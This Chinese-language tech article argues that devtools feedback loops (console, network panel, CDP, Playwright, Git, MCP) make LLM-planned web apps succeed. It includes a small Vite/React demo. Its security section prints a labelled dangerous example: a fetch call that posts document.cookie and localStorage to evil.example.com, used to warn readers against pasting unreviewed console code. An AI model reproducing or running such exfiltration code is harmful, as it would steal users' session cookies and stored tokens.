ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

LLM规划Web应用,devtools反馈闭环决定成败

LLM规划Web应用,devtools反馈闭环决定成败 让 LLM 写一个 Web 应用已经不是什么新鲜事了。真正难的是它写完以后谁来告诉它哪里错了页面白屏、接口 404、数据结构不匹配、样式错位……这些在传统开发里靠浏览器 DevTools 就能定位的问题到了 LLM 自动化开发的场景里突然变成了决定成败的关键。近期开发者社区里反复出现一个话题当 LLM 不再只是补全一个函数而是规划一个完整的真实 Web 应用时开发工具链里的哪个环节会胜出。这个问题的答案比哪个模型更强更能决定未来一年前端和全栈开发的效率。很多团队的第一反应是换更强的模型或者堆更多的 Agent但真实项目里你迟早会遇到这样的时刻模型还在按自己想象中的数据结构往下写而页面早就报错半天了。这篇文章不打算评测某款具体产品而是想把一个判断拆开讲清楚在 LLM 规划真实 Web 应用的闭环里胜出的是那些能把运行结果原样反馈给模型的工具。用一句话概括就是——LLM 负责生成devtools 负责验证而未来真正赢的是能把验证环节自动喂回给 LLM 的工具链。文章会从开发流程变化、工具类型对比、最小可跑实验、安全边界几个角度展开你可以照着验证后再决定自己的技术选型。1. 这篇文章真正要解决的问题先对齐一个痛点。如果你只是让 LLM 写一个独立的 React 组件或者生成一段 Python 脚本那问题不大因为输出结果是静态的、可审查的。但规划真实 Web 应用是完全不同的事它意味着多文件协作、前端与后端接口对接、路由设计、状态管理、构建配置、运行时错误处理。输入 LLM 的不再是一个 prompt而是一个系统的需求。这类任务的复杂度在于模型必须在没有任何运行时感知的情况下做出一系列假设。它假设后端返回数组假设字段名是name假设路由能匹配假设浏览器环境允许某个 API。这些假设一旦落空页面就会在运行时崩溃。这时候谁能最快发现假设错误不是 IDE不是模型本身而是浏览器 DevTools、终端、Network 面板、DOM 树这些运行时的事实来源。这篇文章适合三类读者正在用 LLM 或 Agent 辅助开发 Web 应用的前端、全栈工程师准备搭建 AI 原生开发工具链的技术负责人对 LLM Agent、MCP、LLM 框架如何与现有工程体系结合感兴趣的同学。读完这篇文章你会得到一套判断标准什么样的 devtools 值得继续投入什么样的 devtools 在 LLM 时代会被重构以及一个最小的LLM 规划 → devtools 反馈 → 自动修复闭环应该怎么搭。2. 当 LLM 规划 Web 应用开发流程发生了什么变化传统开发流程里需求到上线之间隔着一个非常成熟的工程链路需求分析、技术设计、编码、自测、联调、回归、部署。每一个环节都有人在中间做判断。人的价值在于当页面白屏时你不会怀疑是颜色写错了你会打开 console 看报错然后一步步缩小问题范围。引入 LLM 后流程变成这样用户把需求描述给 LLM 或 AgentAgent 拆解任务生成多个文件Agent 尝试运行项目包括安装依赖、启动开发服务器运行时出现错误Agent 读取终端输出、浏览器控制台、网络请求状态Agent 根据错误信息自动修改代码再次运行验证直到通过人工进行最终验收。这个流程里最关键的环节是第 4 步。因为 LLM 本身不具备真实运行环境它只能通过外部工具获取反馈。如果反馈通道是好的Agent 就能快速逼近正确解如果反馈通道是断的Agent 就会陷入盲写—猜测—再盲写的循环。用表格对比会更直观流程环节传统开发LLM 规划 Web 应用需求分析产品经理 工程师讨论Agent 通过上下文理解并拆解技术设计工程师人工设计LLM 生成文件结构和接口方案编码工程师逐行编写LLM 批量生成工程师 review运行验证人工启动项目、操作页面Agent 执行命令读取 devtools 输出错误修复人工定位、修复、回归Agent 结合运行时反馈自动修复回归测试有测试用例和 CI需要 devtools 工具链配合做自动化回归这里真正容易踩坑的地方是很多人只看到了第 3 步和第 5 步以为 LLM 规划 Web 应用就是生成代码 自动修 bug却没意识到第 4 步的反馈链路需要专门设计。没有结构化的错误输出、没有可被脚本读取的浏览器调试协议、没有自动化测试兜底Agent 的修复往往是在碰运气。3. 为什么 devtools 是 LLM 的传感器我们可以把 LLM 辅助开发想象成自动驾驶。自动驾驶车辆不能只靠一个强大的大脑模型它必须依赖摄像头、激光雷达、GPS 这些传感器来感知外部世界。模型负责决策传感器负责提供事实数据。没有传感器的自动驾驶不管模型多强大都只能闭眼开车。LLM 开发 Web 应用也是同样的逻辑。模型负责生成代码、做规划、修改文件这些是决策而 devtools 提供的是传感器数据包括终端输出命令执行是否成功、依赖是否安装、构建是否报错浏览器 ConsoleJavaScript 运行时异常、警告、未捕获的错误Network 面板接口是否 404、响应状态码、响应时间、CORS 错误DOM 树与元素面板页面是否按预期渲染元素结构是否符合设计Lighthouse 等性能工具页面性能、可访问性问题。模型的上下文窗口是有限的它不可能同时记住所有的场景细节。更重要的限制是模型本身并不能真正运行应用。无论它生成的数据结构看起来多么合理在没有运行时反馈之前都只是猜测。而 devtools 输出的错误信息、堆栈、状态码是模型唯一能依赖的客观事实。这意味着一个判断在 LLM 规划 Web 应用的时代devtools 不再只是人的调试工具它变成了模型的反馈传感器。哪个工具能更快、更准确、更结构化地把运行结果反馈给模型哪个工具就更有可能在未来的开发链路里胜出。这个设计背后的原因也很简单LLM 的幻觉来自缺乏事实信号。当你把 DevTools 的完整错误上下文交给模型时它就不再需要靠猜来补全信息而是基于真实错误栈推理修复的准确率会显著上升。4. 哪几类 devtools 在 LLM 时代真正胜出不是所有 devtools 都能在 LLM 时代继续保值。有些工具会因为反馈路径短而胜出有些则会被新的 AI 原生工具取代。下面按六类工具逐一分析。4.1 终端与文件系统访问从执行命令到执行计划终端是 Agent 的手。LLM 规划一个 Web 应用时必然要执行npm install、npm run dev、node server.js等命令还要读取日志、检查文件结构。那些输出结构化日志、支持非交互模式、能被脚本解析的 CLI 工具在 LLM 时代会更有优势。例如npm的 JSON 输出模式、curl的响应查看、tree的文件结构展示这些能力让 Agent 可以快速熟悉一个项目而不需要人肉把整个文件树复制给它。终端类工具真正胜出的点在于它能以极低的成本把执行结果变成模型可读取的文本反馈。4.2 浏览器 DevTools从人工调试面板到模型视觉反馈源浏览器 DevTools 是 LLM 规划 Web 应用时最核心的反馈来源。Console 里的运行时错误、Network 面板里的接口状态、Elements 面板里的 DOM 结构构成了页面是否正常的体检报告。在传统开发中这些面板是给人看的人通过视觉定位问题。在 LLM 开发中这些信息被压缩成文本或 JSON通过调试协议交给模型。Chrome DevTools ProtocolCDP让外部程序可以自动打开页面、捕获 console 日志、检查 DOM、截取屏幕截图这正好是 Agent 需要的能力。需要提醒的是LLM Agent 通过 CDP 读取浏览器信息时通常会接入浏览器自动化工具或 MCP Server 来实现。这也是为什么现在越来越多的 Agent 框架把浏览器工具作为内置能力没有浏览器反馈LLM 就无法知道自己生成的前端页面到底渲染成了什么样。4.3 IDE 与语言服务器从补全到跨文件重构IDE 里的语言服务器协议LSP提供跳转定义、查找引用、错误诊断能力。在 LLM 生成多文件项目时跨文件重构是一大痛点改了一个组件名引用它的文件有没有同步改改了一个接口字段前端调用和后端返回能不能对得上LSP 和静态分析工具的价值就在这里。它们能输出当前项目里哪里引用了一个不存在的变量哪个文件的 import 路径解析失败这类诊断信息。这些信息不需要真的运行项目就能拿到非常适合作为 LLM 修改代码前的项目体检。但 IDE 的定位在变化过去它是人写代码的主战场未来它更容易成为模型生成代码 自动化诊断的中间层。真正胜出的 IDE 能力是那些能够被脚本调用、输出结构化诊断结果的部分而不是纯靠人工点击的功能。4.4 Git 工具链安全感的来源LLM 自动化程度越高版本控制就越重要。因为模型修改代码时有可能连续生成多个互相关联的错误如果没有 Git 这个安全网人工很难快速恢复到一个稳定状态。在实际项目中更推荐的工作方式是让 Agent 每次修改前创建一个新的分支完成后自动生成 commit message人工 review diff 之后再合并。一旦发现修改方向不对可以直接git reset回退避免改坏了但找不到原来版本的尴尬。Git 类工具在 LLM 时代胜出的关键不是功能更多而是低成本的撤销能力。一个能让你随时回到稳定状态的版本控制链是支撑自动驾驶式开发的安全底座。4.5 端到端与视觉回归测试工具修好一个 bug引入另一个 bug是 LLM 自动修复最典型的问题。模型根据当前的错误反馈改了一行代码但这行代码可能影响到了另一个模块。如果只靠人工肉眼验证回归测试的成本会高到难以接受。Playwright、Cypress 这类端到端测试框架配合截图对比工具可以在每次 Agent 修改之后自动回归核心流程。只有几百毫秒级别的成本就能发现页面是否白屏、核心交互是否被破坏。对 LLM 规划 Web 应用来说这类工具的价值不是测试而是给模型的每一次修改上保险。4.6 AI 原生 devtoolsMCP、Agent 编排与 LLM Wiki除了传统工具一批 AI 原生工具正在快速补位。MCPModel Context Protocol让 LLM 可以直接调用外部工具和数据源把 devtools 变成可被模型调用的标准接口Agent 编排框架则负责拆分复杂任务管理多步执行的上下文。另一个值得关注的方向是 LLM Wiki 范式。这个概念的核心思路是把代码库变成一个模型可以查询的知识库而不仅仅是让模型一次性读取几个文件。当项目越来越大模型的上下文窗口放不下全部代码时检索增强的代码导航工具会成为 Agent 理解和修改大型项目的关键依赖。这一块目前还在竞速阶段没有绝对的赢家。但从趋势上看谁能把项目上下文组织得更好、让模型以更低成本获取更准确的信息谁就占领了 LLM 规划 Web 应用的入口。5. 最小实验让 LLM 规划一个用户管理页面并跑通理论讲再多不如动手跑一遍。下面是一个最简单的实验路径你可以用它来观察LLM 生成 → devtools 反馈 → 自动修复的完整闭环。5.1 环境准备与项目初始化本实验使用 Vite React 作为前端技术栈数据放在public目录下的静态 JSON 文件中避免引入后端服务和 CORS 问题。环境要求 Node.js 具备 npm 包管理器版本以你本机实际为准不必严格固定。npm create vitelatest llm-devtools-demo -- --template react cd llm-devtools-demo npm install项目初始化之后创建数据文件public/api/users.json[ { id: 1, name: 张三 }, { id: 2, name: 李四 }, { id: 3, name: 王五 } ]注意public目录下的文件会被 Vite 直接作为静态资源服务所以你可以在浏览器里访问http://localhost:5173/api/users.json来验证数据文件是否正常。5.2 给 LLM 的初始任务描述接下来把需求描述交给 LLM。这里的关键是要求它先输出规划再输出代码不要一上来就生成一堆文件。你是一个资深前端工程师。请为下面这个需求规划一个最小的 Web 应用并输出完整代码 - 技术栈Vite React - 页面功能从 /api/users.json 读取用户列表并渲染成一个 ul 列表 - 数据文件已存在于 public/api/users.json 中结构是 id 和 name 字段 - 要求先输出文件结构和需求分析再输出 src/App.jsx 的完整代码一个好的 LLM 会先输出类似下面的规划文件结构 - public/api/users.json已存在数据源 - src/App.jsx页面组件负责请求和渲染 - src/main.jsx入口文件由 Vite 模板生成 关键逻辑 1. 使用 useEffect 在组件挂载后发起 fetch 请求 2. 使用 useState 存储用户数据 3. 请求成功后遍历 users 数组渲染列表这一步的重点不是让 LLM 输出多复杂的代码而是让它在动手前先建立对项目的结构认知。5.3 第一次运行观察 Console 和 Network假设 LLM 生成的src/App.jsx是下面这样// 文件路径src/App.jsx import { useEffect, useState } from react; function App() { const [users, setUsers] useState([]); useEffect(() { fetch(/api/users.json) .then((res) res.json()) .then((data) setUsers(data)) .catch((err) console.error(请求失败, err)); }, []); return ( div h1用户列表/h1 ul {users.map((user) ( li key{user.id}{user.name}/li ))} /ul /div ); } export default App;启动开发服务器npm run dev浏览器打开http://localhost:5173正常情况下页面能正常显示用户列表。但为了演示 devtools 反馈的价值我们故意制造一个典型错误把public/api/users.json移动或删除或者把 fetch 路径改错比如改成/api/user.json。此时打开浏览器 DevTools切到 Network 面板你会看到GET http://localhost:5173/api/user.json 404 (Not Found)Console 里可能不会出现明显报错因为fetch对 404 不会自动抛出异常它只会把res.ok置为false。这恰恰说明只看 Console 是不够的必须结合 Network 面板才能定位到请求路径错误这类问题。5.4 把错误上下文喂回给 LLM现在把 devtools 里的信息整理成结构化的上下文反馈给 LLM当前页面运行异常。以下是浏览器 DevTools 提供的反馈信息请根据这些信息修复代码。 Network 面板 - 请求 URLGET http://localhost:5173/api/user.json - 状态码404 (Not Found) Console 面板 - 没有任何异常抛错页面渲染了一个空的 ul 列表 请先说明问题原因再输出修改后的 src/App.jsx 完整代码。一个好的模型应该能判断出请求路径和实际文件名不匹配导致返回 404而代码没有对res.ok做判断所以页面静默失败。修复方案是改回正确的路径并增加对响应状态的检查。// 文件路径src/App.jsx修复后 import { useEffect, useState } from react; function App() { const [users, setUsers] useState([]); useEffect(() { fetch(/api/users.json) .then((res) { if (!res.ok) { throw new Error(请求失败${res.status}); } return res.json(); }) .then((data) setUsers(data)) .catch((err) console.error(加载用户列表失败, err)); }, []); return ( div h1用户列表/h1 ul {users.map((user) ( li key{user.id}{user.name}/li ))} /ul /div ); } export default App;这个修复示例说明了一个核心道理LLM 能不能准确修复取决于你交给它的上下文是不是事实。如果你只丢给它一句页面显示不正常它很可能给你一批靠猜的修改如果你把 Network 面板的状态码、请求 URL 完整给它它就能做出有依据的判断。5.5 验证修改后的效果修改完成后刷新浏览器DevTools 里应该能看到GET http://localhost:5173/api/users.json 200 OKConsole 中没有任何报错页面正常渲染出张三、李四、王五三个列表项。一个完整的验证闭环是Network 面板确认请求状态码为 200Console 面板没有红色报错Elements 面板能看到li元素已渲染。如果你在跑这个实验可以把 devtools 反馈步骤交给 Agent 自动执行让 Agent 启动浏览器、读取状态码、读取 console 日志、做 DOM 断言然后自动触发修复。这就构成了一个最小的LLM 规划 Web 应用 devtools 自动反馈的工程原型。6. 关键安全边界不要盲目执行 LLM 生成的 DevTools Console 代码前面讲了很多 devtools 如何帮 LLM 提效但这里必须强调一个安全边界。浏览器 DevTools 的 Console 拥有当前页面的完整控制权限它不仅能读 DOM还能读取document.cookie、localStorage、sessionStorage可以发起请求、修改页面、跳转页面。也就是说在 Console 里执行一段代码约等于把页面完全交给了这段代码。最近开发者社区反复出现一条安全警告大意是不要将代码粘贴到不了解或尚未审阅自己的 DevTools 控制台中这可能导致账号被攻击。这条警告对 LLM 开发场景尤其重要因为 LLM 生成代码时有可能会生成一段看起来无害、实际危险的代码。举个例子假设 LLM 建议你用一段 Console 代码来获取页面里的用户信息// 危险示例不要直接粘贴执行 fetch(https://evil.example.com/steal, { method: POST, body: JSON.stringify({ cookies: document.cookie, localStorage: { ...localStorage }, currentPath: location.href }) });这段代码在语法上没有漏洞但它会把你当前站点的 cookies 和本地存储发送到第三方域名。如果目标站点是生产环境的控制台后果会非常严重。正确的做法是逐行审阅执行任何 console 代码前先理解每一行的作用尤其是出现document.cookie、localStorage、fetch外发请求时要特别警惕。使用只读操作如果只是查看数据优先使用不会产生副作用的方式// 只在本地开发环境使用且确认只访问当前站点的只读数据 fetch(/api/users.json) .then((res) res.json()) .then((data) console.log(data));隔离环境验证LLM 生成的 console 代码先在本地开发环境、临时页面中验证而不是直接在生产控制台执行。最小权限原则生产环境的密钥、token 不应该出现在浏览器的 localStorage 或会暴露给 console 的位置。如果必须存在要明确其暴露风险。安全边界不是文章能讲完的话题但这条底线值得反复强调devtools 是 LLM 的传感器也是一把双刃剑。工具越强大越需要审慎的使用边界。7. 谁赢了devtools 的选型标准与落地建议回到题目当 LLM 规划真实 Web 应用时哪些 devtools 会胜出基于前面的分析可以给出一个明确的选型判断。能力传统 devtools 侧重点LLM 时代侧重点更可能胜出的形态终端人工执行命令并阅读输出输出可被 Agent 解析的结构化日志支持 JSON 输出的 CLI、可脚本化的 shell浏览器 DevTools人工查看网络请求和 DOM自动抓取 Console、Network、DOM 并回传模型CDP 调试协议、浏览器自动化工具、MCP ServerIDE 与语言服务器补全、跳转、重构跨文件重构和引用关系导入模型上下文LSP、AST 工具、代码索引Git 工具链人工 review diff小步提交、自动生成 commit、快速回滚分支管理 自动化 diff review测试工具人工编写并运行测试每次修改后自动回归、视觉对比Playwright、Cypress、截图对比工具知识管理文档中心模型可查询的代码库上下文LLM Wiki、RAG 代码检索、Agent 记忆选型时可以问自己三个问题这个 devtools 能不能把运行结果以结构化、可读的方式输出给模型这个 devtools 能不能在 Agent 的自动化流程中被调用而不是必须人工点击这个 devtools 能不能在模型修改代码后快速生成是否正常的验证信号如果三个答案都是肯定的这个工具在 LLM 规划时代大概率会继续胜出如果答案里有否你就要慎重考虑投入产出了。对不同角色的落地建议前端工程师优先掌握浏览器自动化调试协议和 Playwright把手工调试逐步转成可自动采集的反馈脚本。全栈工程师重点建设终端命令的标准化输出让 LLM 能稳定读取构建日志和接口报错。AI 开发工具作者优先做 MCP Server 和结构化错误聚合层把 devtools 的信息变成模型友好的 API。8. 常见问题与排查思路在实践LLM 规划 Web 应用 devtools 反馈时容易遇到下面几类问题问题现象可能原因排查方式解决方案页面白屏Console 没有明显报错JavaScript 运行时异常被静默捕获或 root 元素挂载失败打开 Sources启用 Pause on exceptions检查 main.jsx 挂载逻辑让 LLM 输出更完整的错误处理LLM 反复修同一个 bug反馈给模型的信息不完整模型在猜检查反馈的上下文是否包含完整堆栈、状态码、请求 URL用结构化错误上下文模板把 devtools 信息完整交给模型数据请求 404fetch 的 URL 或 public 目录路径错误看 Network 面板的 Request URL 和状态码修正路径确认文件是否在正确目录CORS 报错前端直接请求了跨域后端Network 面板查看响应头和状态码配置 dev server proxy或后端加 CORS 头Agent 访问不了浏览器浏览器调试协议未开启或没有可用调试端口检查浏览器启动参数、端口占用使用支持调试协议的浏览器环境确认 Agent 配置Console 出现可疑的外发请求粘贴了未经审核的 console 代码查看 Network 面板中的外发请求域名立即关闭页面标签页撤销页面权限更换本地密钥修复后 UI 被破坏LLM 只关注错误信息忽略了整体样式用截图对比工具对比修改前后页面在反馈素材中加入页面截图或加视觉回归断言建议把这些排查步骤整理成一份团队内部文档并在 Agent 的提示词模板中引用。这样当 LLM 再次遇到类似错误时它可以从文档中学习而不是每次从零开始猜。9. 最佳实践把 devtools 变成 LLM 的反馈回路仅仅拥有工具还不够你需要把 devtools 的输出设计成适合 LLM 消费的结构。下面是一些经过实践检验的做法。9.1 设计标准化的错误上下文模板不要只把报错信息原样丢给 LLM而是组织成固定格式【当前任务】 实现用户列表页面的数据请求和渲染 【运行环境】 - 浏览器Chrome - 开发服务器Vite dev server端口 5173 - 数据文件public/api/users.json 【Console 输出】 Uncaught TypeError: Cannot read properties of undefined (reading map) 【Network 输出】 GET http://localhost:5173/api/users.json 200 OK 【代码文件】 src/App.jsx 第 18 行是 users.map(...)标准化的上下文能让模型更快定位问题也方便在团队里复用。你会发现很多 LLM 修复不准的场景根源不是模型不够强而是你给的信息太少了。9.2 小步提交每个功能一个 commit无论 LLM 生成代码的速度有多快Git 提交一定要细。推荐让 Agent 每次修改完成后自动执行git add . git commit -m fix: 修复用户列表请求路径错误小步提交的价值在于一旦发现 LLM 的修改方向错误你可以快速回退到最近一个稳定版本而不是在一堆混杂的变更中手动挑出问题。9.3 先让 LLM 输出计划再输出代码在实践LLM 规划 Web 应用时不要让模型直接生成一堆文件。更好的方式是分两步第一步只输出文件结构、接口设计、页面模块划分、风险点第二步在计划评审通过后再逐文件生成代码。这个习惯能显著减少模型写到后面忘记前面的问题。因为计划本身是模型后续生成代码时的上下文锚点。9.4 每次修改后运行自动回归把 Playwright 或其他端到端测试工具接入 Agent 的工作流中。每次 LLM 修改完代码自动执行一次核心流程的测试npx playwright test如果回归测试失败把失败信息作为新的反馈素材交给 LLM。这个闭环看起来慢实际上比人工一遍遍点击验证要快得多而且能有效防止修好一个 bug 引入另一个 bug。9.5 记录失败案例形成团队知识库当 LLM 反复修复不了一个问题时不要只把它当成一次失败。把完整的过程记录下来需求是什么、模型生成了什么、devtools 反馈了什么、最终是怎么解决的。这些记录可以整理成 LLM Wiki 或团队文档成为后续 Agent 规划任务时可以参考的先例数据。9.6 严格隔离生产环境任何涉及生产环境的 devtools 操作都要遵循最小权限原则。不要让 Agent 直接访问生产环境的浏览器控制台不要在生产页面执行未经 review 的 console 代码。生产环境的密钥、token 要放在安全的管理系统中而不是暴露在前端可读取的存储位置。10. 总结与后续学习方向现在可以回到最初的问题了。当 LLM 规划真实 Web 应用时哪些 devtools 会赢我的判断是胜出的不是某个具体的面板而是反馈闭环更完整的工具链。终端提供命令执行结果浏览器 DevTools 提供运行时信息Git 提供安全回滚测试工具提供回归保障MCP 和 LLM Wiki 提供上下文接入能力。这些工具组合在一起才真正支撑起LLM 规划 → 运行验证 → 自动修复 → 人工验收的自动化开发范式。换句话说模型能力决定的是开发的上限devtools 的反馈链路决定的是实际交付效率的下限。下一步你可以从三个方向继续深入学习 MCP 协议尝试把自己常用的 devtools 封装成模型可调用的工具接口研究浏览器自动化调试协议把手动点击的调试动作改造成可自动采集的反馈脚本关注 LLM Wiki 等代码库知识组织范式解决项目变大后模型上下文不够用的问题。这篇文章建议先收藏备用。动手实践时你可以从一个最小项目开始先跑通LLM 生成 → devtools 反馈 → 自动修复的闭环再逐步扩展到更大规模的应用。真正的价值不在于让 LLM 一次写完所有代码而在于当它写错的时候你的工具链能不能第一时间告诉它错在哪里。
返回列表